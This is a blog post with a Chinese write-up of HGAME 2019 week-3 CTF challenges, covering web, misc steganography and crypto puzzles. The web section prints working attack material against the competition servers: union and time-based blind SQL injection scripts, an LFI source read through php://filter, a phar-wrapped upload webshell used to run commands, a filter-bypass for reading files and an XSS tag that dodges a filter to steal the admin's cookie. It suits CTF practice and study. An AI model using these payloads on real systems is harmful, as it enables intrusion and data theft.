V0W's Blog

杭电Hgame2019-week3-WP

字数统计: 2,902阅读时长: 14 min
2019/02/15 Share

Web

神奇的MD5

Description
flag在根目录下(请善待学生机)
hint:md5碰撞 你自己本地去生成3个md5值一样的 sha值不一样的 用curl上传
URL http://118.25.89.91:8080/question/login.php

首先发现源码泄露 .login.php.swp

vim -r恢复出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
session_start();
error_reporting(0);

if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];

if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";

header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}

// ...[OMITTED]...

要求提交三个内容不同而 MD5 哈希值相同的字符串进行登录,由于对参数进行强制类型转换且使用全等进行判断,无法通过一般的数组参数、0e 开头 MD5 等方法绕过。

只能通过 MD5 碰撞的方法,使用 fastcollthereal1024/python-md5-collision 生成一些文件

选三个文件将其内容编码后用于登录,成功后跳转至 admin.php,是一个 webshell

通过 ls / 命令可以看到 /flag,但直接 cat /flag 会提示无法获取

读一下 admin.php ,发现其中对输入的命令有过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit'])){
$cmd = (string)$_POST['command'];
echo "<p>The Command is : $cmd </p>";
echo "</br>";
$cmd = str_replace("flag",'none',$cmd);
echo "<p>Result is :";system($cmd); "</p>";
}
}
else {
echo "<script>alert('Login First')</script>";
header('Location: login.php');
exit();
}
?>

执行 cat /fla? 即可读取 flag

1
hgame{a1c83b66cc504d583c09ea6c20c0dabc}

sqli-1

数字型注入,简单的union注入就可以了,没有任何过滤。只有一个md5的类似验证码的code,python生成一下也很容易。

1
2
3
4
5
6
7
8
import hashlib
def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:4] == code:
return i

print getmd5('43dd')

payload:

1
2
3
4
&id=-1 union select database() #            			hgame
&id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database() # f1l1l1l1g,words
&id=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='f1l1l1l1g'# f14444444g
&id=-1 union select f14444444g from f1l1l1l1g# hgame{sql1_1s_iNterest1ng}

sqli-2

由于没有回显,只能盲注,又注意到不论返回结果如何,只要SQL语句没有语法错误就会显示sql execute,于是只能进行时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# coding:utf-8
# __author__ = V0W

import requests
import re
import hashlib
import string
import time

guess = string.printable[:95]
# print guess
url = "http://118.89.111.179:3001"
sess = requests.session()

def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:4] == code:
return i

def md5(code):
temp = hashlib.md5(str(code)).hexdigest()
return temp

def main():
flag = ''
for i in range(1,40):
for c in guess:
url = "http://118.89.111.179:3001"
r = sess.get(url).text
# print r
targetmd5 = r[79:83]
# print targetmd5
code = getmd5(targetmd5)
url = url + "?code=" + str(code)
# payload = "&id=1 and if((length(database())=%s),sleep(5),1)#" %c
# payload = "&id=1 and if((substr((database()),%d,1)='%s'),sleep(5),1)#" %(i,c)
# payload = "&id=1 and if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'),sleep(5),1)#" % (i,c)
# payload = "&id=1 and if((substr((select group_concat(column_name) from information_schema.columns where table_name='F11111114G'),%d,1)='%s'),sleep(5),1)#" % (i,c)
payload = "&id=1 and if((substr((select fL4444Ag from F11111114G limit 0,1),%d,1)='%s'),sleep(5),1)#" % (i,c)
# print payload
url = url + payload
# print url
time_start = time.time()
content = sess.get(url).content
print content
time_end = time.time()
timedif = time_end - time_start
print timedif
if timedif >= 4.5:
flag += c
print flag
break

main()

# -------盲注得到的数据库信息----------
# dblen: 5
# dbnmae: hgame
# tbname: F11111114G,words
# colname: fL4444Ag
# flag: hgame{sqli_1s_s0_s0_s0_s0_interesting}

基础渗透

非常完整且有一定难度的题目,考察点多,先膜一下出题师傅。

一个包含以下功能的 web 应用:

  • 用户注册、登录、上传头像、更改密码
  • 留言查看、新建、删除

首先注册账号,登录后尝试一下各种功能,发现显示不同的页面是根据 index.php?action=user 中的 action 参数来切换的,直接访问 user.php 可以返回一部分 HTML,但是不如之前全。

猜测在 index.php 中是通过 require 或 include 相应的文件来显示不同的页面,存在本地文件包含漏洞

利用LFI可以读出全部源码http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=index

同理,拿下其他代码。

1
2
login.php	register.php	index.php	user.php	message.php
messages_api.php functions.php config.php

关键代码在functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function upload_avatar()
{
$type = $_FILES['file']['type'];
$user_id = $_SESSION['user_id'];
if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
$avatar = get_avatar($user_id);
if ($avatar == null) {
$name = rand_filename();
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
$sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
sql_query($sql_query);
} else {
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

}
}
}

function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}

在管理页面(index.php?action=user)可以上传新头像(upload_avatar())存在一个上传漏洞,可以以此来getshell,但是命名规则是随机的(rand_filename)。

但是注意到存在SQL注入,找了一个比较容易注入的点delete_message,在messge_id处进行注入。通过该注入可以得到本用户头像的文件名(15位的随机字符串),文件为 ./img/avatar/*.png

1
2
3
4
5
6
7
8
9
10
11
12
13
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);

}
}

于是利用这个删除信息的注入点,尝试盲注读文件名,盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding: utf-8
import requests
import re
flag=''
restr = "<input type='hidden' value='(.*?)' id='token'"
url = 'http://111.231.140.29:10080/index.php'
cookie = {
'PHPSESSID':'5qe3nisl6jg15e8rj980l6jlah',
'user':'v0w',
'groups':'0'
}
url2 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url3 = 'http://111.231.140.29:10080/messages_api.php?action=add'

for i in range(1,100):
print i
for j in range(33,127):
r = requests.get(url=url,cookies=cookie)
token = re.findall(restr,r.content.decode('utf-8'))[0]
# token会失效,需要每次请求拿token
# payload = "-1 or if((ascii(substr((database()),%d,1))=%d),sleep(5),0)#"%(i,j)
payload = "-1 or if((ascii(substr((select avatar from users where username like 0x763077),%d,1))=%d),sleep(5),0)#"%(i,j)
data = {
'message_id':payload,
'token':token
}
try:
r = requests.post(data=data,cookies=cookie,url=url2,timeout=4.5)
except:
flag += chr(j)
print flag
# 因为是删除的注入点,成功时会将message删除,需要写新的message
r = requests.get(url=url, cookies=cookie)
token = re.findall(restr, r.content.decode('utf-8'))[0]
data = {
'new_message': 'test',
'token': token
}
r = requests.post(data=data,cookies=cookie,url=url3)
break

#=========注入信息==========
# DB: lyb
# Picname: eda47772498d3bc

可以上传含有恶意代码的 php 文件来进行进一步渗透,而要使上传的头像(.png 文件)被解析为 php 执行,需要用到 index.php 中的本地文件包含漏洞(require $page .'.php';

由于强制在参数后添加 “.php”,而头像文件以 “.png” 结尾,

1
2
3
4
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

可以将 php 文件添加至 zip 压缩包上传,然后通过 phar协议使其被包含(index.php?action=phar://img/avatar/eda47772498d3bc.png/v

因为代码对文件的判断只做了File-type的判断,很容易绕过,拿到shell:

找flag

1
2
v=system('find / -name flag');
/usr/lib/flag /usr/lib/flag/flag

直接读发现没法读,但是发现同目录中有一个get_flag

1
2
v=system("ls /usr/lib/flag");
flag get_flag

根据题目提示,可以通过gte_flag来读flag。

1
2
v=system("/usr/lib/flag/get_flag /usr/lib/flag/flag");
hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}

BabyXss

Description
save按钮尝试xss(尝试过程不需要输验证码),成功后带上验证码code,submit按钮提交xss语句;flag在admin的cookie里面,格式hgame{xxxxx}。
URL http://118.25.18.223:9000/index.php

waf是将</srcipt>替换成空。双写即可绕过

1
<script src=[url]></scr</script>ipt>

flag

1
hgame{Xss_1s_funny}

Misc

至少像那雪一样

Description
出题人想不好题目描述了
URL http://plqfgjy5a.bkt.clouddn.com/%E8%87%B3%E5%B0%91%E5%83%8F%E9%82%A3%E9%9B%AA%E4%B8%80%E6%A0%B7.jpg

一张图片,binwalk看了一眼发现里面有压缩包,所以直接改后缀为.zip试了一下,发现压缩包有加密,拖进HxD发现并不是伪加密,也没有发现密码有关的信息,于是就考虑了一下CRC32明文攻击,用foremost分离出原图片和压缩包,发现原图片zip压缩后的CRC32值和压缩包里的图片的值是一样的,于是就用工具进行明文攻击。。

跑了一个多小时,成功的得到解密之后的压缩包,这时发现了一个240字节的空txt文件,于是拖进HxD,

刚开始认为是敲击码,但是发现数目并不成对,匹配不上。。后来脑洞了一下,将09看作0,20看作1,组成一串二进制,

1
01101000 01100111 01100001 01101101 01100101 01111011 01000001 01110100 01011111 01001100 01100101 01100001 00110101 01110100 01011111 01001100 00110001 01101011 01100101 01011111 01110100 01001000 01100001 01110100 01011111 01110011 01101110 00110000 01110111 01111101

转文本,就得到了flag。

1
hgame{At_Lea5t_L1ke_tHat_sn0w}

旧时记忆

Description
愉快的送(nao)分(dong)题,大家一起来学历史吧,结果加上hgame{}(字母均为大写)
hint:memory
又一个hint:存储器
URL http://plqfgjy5a.bkt.clouddn.com/%E6%97%A7%E6%97%B6%E8%AE%B0%E5%BF%86.jpg

在给出hint之后,结合题目,旧时记忆,想到最初计算机用于存储数据(记忆)的工具,打孔卡,于是就google到了相关的信息:

  • 数字通过在行0至行9直接打1个孔来表示。
  • 空格符的表示,不需要打孔。
  • 字母用2个孔表示:一个孔在第11、第12、第0行;另一个孔在第1至第9行。字母表被依次分为由9个字母组成的区(”zones”),每个区的字母依次在第1至第9行打孔。每个区分别在第11、第12、第0行打孔。第3区第1个字符保留未使用。(如在(11,3)则为1*9+3 = 12(L))
  • 一些特殊字符使用了额外的单孔表示,或者双孔表示。
  • 大多数特殊字符(如标点符号等)用3孔表示:第8行被穿孔;第0、第11、第12行有1个穿孔;第1到第7行有1个穿孔。第9行保留未使用

根据这个,一一对照,得出flag。

1
0LD_DAY5%M3MORY

听听音乐?

Description
一首MP3,好好听哦,flag由大写英文字母、数字以及下划线组成,记得添加hgame{}
URL http://plir4axuz.bkt.clouddn.com/hgame2019/a80509c91f30027ca21b069e7d94fa7718ab2e40684628c41943bf647f3d7c6a/stego.mp3

audacity打开看波形,类似莫斯电码:

1
2
3
..-. .-.. .- --. ---... .---- - ..--.- .--- ..- ..... - ..--.- ....- ..--.- . .- ... -.-- ..--.- .-- .- ...-

FLAG:1T_JU5T_4_EASY_WAV

Crypto

P4ndd!n@!

Description
Aris跑了过来 嘴里大喊”CBC!” 并递给了我一张纸条
lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==(参数要用base64编码一发)
hint: padding oracle
URL http://47.95.212.185:23450/padding?text=

babyRSA

Description
e = 12
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
ciphertext = 206087215323690202467878926681944491769659156726458690815919286163630886447291570510196171585626143608988384615185921752409380788006476576337410136447460

算出的m转化成字符串
URL http://example.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#-*- coding:utf-8 -*-
# 当指数e和Phi(n)不互素时
from Crypto.Util.number import *

import sympy

def gcd(a,b):
if a < b:
a,b = b,a
while b != 0:
tem = a % b
a = b
b = tem
return a

def invalidExponent(p,q,e,c):
phiN = (p - 1) * (q - 1)
n = p * q
GCD = gcd(e, phiN)
if (GCD == 1):
return "Public exponent is valid....."
d = inverse(e//GCD,phiN)
c = pow(c, d, n)
plaintext = sympy.root(c, GCD)
plaintext = long_to_bytes(plaintext)
return plaintext


def main():
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
e = 12
c = 206087215323690202467878926681944491769659156726458690815919286163630886447291570510196171585626143608988384615185921752409380788006476576337410136447460

plaintext = invalidExponent(p,q,e,c)
print plaintext

main()

basicmath

Description
hint: 二次剩余的求解
URL http://plir4axuz.bkt.clouddn.com/hgame2019/0b206d5e4fc12dab4961cc5376fbc856f64331976359d30ff1c11668de11a6f0/Crypto2.py

CATALOG
  1. 1. Web
    1. 1.1. 神奇的MD5
    2. 1.2. sqli-1
    3. 1.3. sqli-2
    4. 1.4. 基础渗透
    5. 1.5. BabyXss
  2. 2. Misc
    1. 2.1. 至少像那雪一样
    2. 2.2. 旧时记忆
    3. 2.3. 听听音乐?
  3. 3. Crypto
    1. 3.1. P4ndd!n@!
    2. 3.2. babyRSA
    3. 3.3. basicmath